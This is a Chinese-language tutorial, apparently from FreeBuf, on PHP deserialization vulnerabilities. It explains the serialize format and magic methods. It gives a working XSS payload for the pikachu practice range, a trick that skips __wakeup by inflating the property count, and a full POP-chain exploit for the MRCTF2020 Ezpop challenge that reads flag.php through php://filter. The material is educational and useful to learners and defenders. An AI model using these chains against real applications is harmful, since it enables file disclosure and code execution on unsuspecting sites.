
序列化与反序列化
何为序列化
序列化是将对象转换为字节流,在序列化期间,对象将当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象状态,重新创建该对象,序列化的目的是便于对象在内存、文件、数据库或者网络之间传递。
在PHP中序列化所用的函数为
serialize()
语法
string serialize ( mixed $value )
参数说明:
$value: 要序列化的对象或数组。
返回值
返回一个字符串。
实例
<?php
class Test{
public $name = "admin";
public $password = "admin";
}
$ser = new Test();
echo serialize($ser);
?>
输出结果为:
O:4:"Test":2:{s:4:"name";s:5:"admin";s:8:"password";s:5:"admin";}
序列化后的字符串组成格式
序列化后数据类型的表示
a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串
序列化过程中变量改变
private属性序列化的时候格式是 %00类名%00成员名 如testname (test->类名name->成员名)
protected属性序列化的时候格式是 %00*%00成员名 如*name (name->成员名)
即,当private/protected属性序列化时会添加两个不可见的字符%00
通过打印序列化后的字符串时两个%00已经丢失
实例
<?php
class Test{
private $name = "admin";
protected $password = "admin";
}
$ser = new Test();
echo serialize($ser);
?>
输出结果
O:4:"Test":2:{s:10:"Testname";s:5:"admin";s:11:"*password";s:5:"admin";}
可以发现无论是Testname还是*password的长度,都比自身要长2,这个二就是两个%00
所以为了防止这种情况,输出的时候进行URL编码
echo urlencode(serialize($ser));
何为反序列化
反序列化即为序列化的逆过程,将字节流转换为对象的过程即为反序列化,通常是程序将内存、文件、数据库或者网络传递的字节流还原成对象
在PHP中反序列化所用到的函数为
unserialize()
语法
mixed unserialize ( string $str )
参数说明:
$str: 序列化后的字符串。
返回值
返回的是转换之后的值,可为 integer、float、string、array 或 object。
如果传递的字符串不可解序列化,则返回 FALSE,并产生一个 E_NOTICE。
实例
<?php
$str = 'a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
?>
输出结果为:
Array
(
[0] => Google
[1] => Runoob
[2] => Facebook
)
魔术方法
在利用反序列化漏洞时多会用到魔术方法,魔术方法是语言中保留的方法名,各个方法会在对应操作时自动调用
php中的魔术方法
参考文章:PHP: 魔术方法 - Manual
__construct
构建对象的时被调用,一般用于初始化对象,对变量赋初值;
__destruct
明确销毁对象或脚本结束时被调用;
__get
用于读取不可访问或不存在属性
__set
用于给不可访问或不存在属性赋值
__isset
对不可访问或不存在的属性调用isset()或empty()时被调用
__unset
对不可访问或不存在的属性进行unset()时被调用
__call
在对象上下文中调用不可访问或不存在的方法时被调用
__callStatic
在静态上下文中调用不可访问或不存在的静态方法时被调用
__sleep
使用serialize时自动被调用,当不需要保存大对象的所有数据时很有用
__wakeup
当使用unserialize()时自动被调用,可用于做些对象的初始化操作
当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。
__clone
进行对象clone()时被调用,用来调整对象的克隆行为
__toString
当一个类被转换成字符串时被调用
__invoke
当以函数方式调用对象时被调用
__set_state
当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
__debuginfo
当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
__autoload()
尝试加载未定义的类
反序列化漏洞实例
以pikachu靶场为例
观看源代码:
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
发现__construct()函数,说明在创建对象时就会自动调用echo $this->test;
将以下类进行序列化
class S{
var $test = "攻击语句,如()";
function __construct(){
echo $this->test;
}
}
得到语句:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
运行
POP链
从上面的介绍可以知道,反序列化的漏洞是以控制魔术方法为出发点,通过魔术方法来达到攻击的目的,但是很多时候很难直接通过魔术方法找到可以攻击的点,所以就需要寻找相同函数名将类的属性和敏感函数的属性联系起来,这就是POP链
直接看例子
实例
MRCTF2020Ezpop
这是一道代码审计题,进入网页后可以直接看到源码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
首先查看输入点,在index.php的get方法传入的pop中
在查看每一个类对应的魔术方法是否可以利用
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
__invoke为把对象以函数方式调用时就会触发__invoke魔术方法,同时另一个普通方法append里面有一个include,也是可以利用的
Show函数中也有三个魔术方法,但是没有什么可以利用的点
再看Test
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
重点落在__get,return $function(),和之前的__invoke结合就是一个利用链,所以当前目标就变为了如何触发__get(),当访问一个不可访问或者不存在的成员变量就可以触发__get()
但是这两个类都没有可以直接利用的点,想利用__invoke就要先利用__get,然而__get需要访问不存在的的成员变量才可以触发,然而无论Test里面的哪个方法都没有访问到不存在的成员变量
这是再看一下Show类
在__toSteing方法可以看到return $this->str->source;,如果让str = Test(),那么就会访问Test->source,这时就会触发__get,然而触发__toString为把类转换为字符串,这在__wakeup中的if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source))实现,同时__wakeup在反序列化时会自动调用,所以我们要把$this->source设置为Show类的实例化对象
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
所以pop链:
Show类(__construct)-->Show类(__wakeup)-->Show类(__toString)-->Test类(__get)-->Modifier类(__invoke)
首先先实例化show
$a = new Show();
然后再把Test的实例化对象赋值给a->str
$a->str = new Test();
为了触发__invoke所以要把Modifier的实例化对象赋值给a->str->p
$a->str->p = new Modifier();
最后要把a赋值给$this->source
$b = new Show($a);
完整代码
<?php
class Modifier {
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
}
class Test{
public $p;
}
$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
?>
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)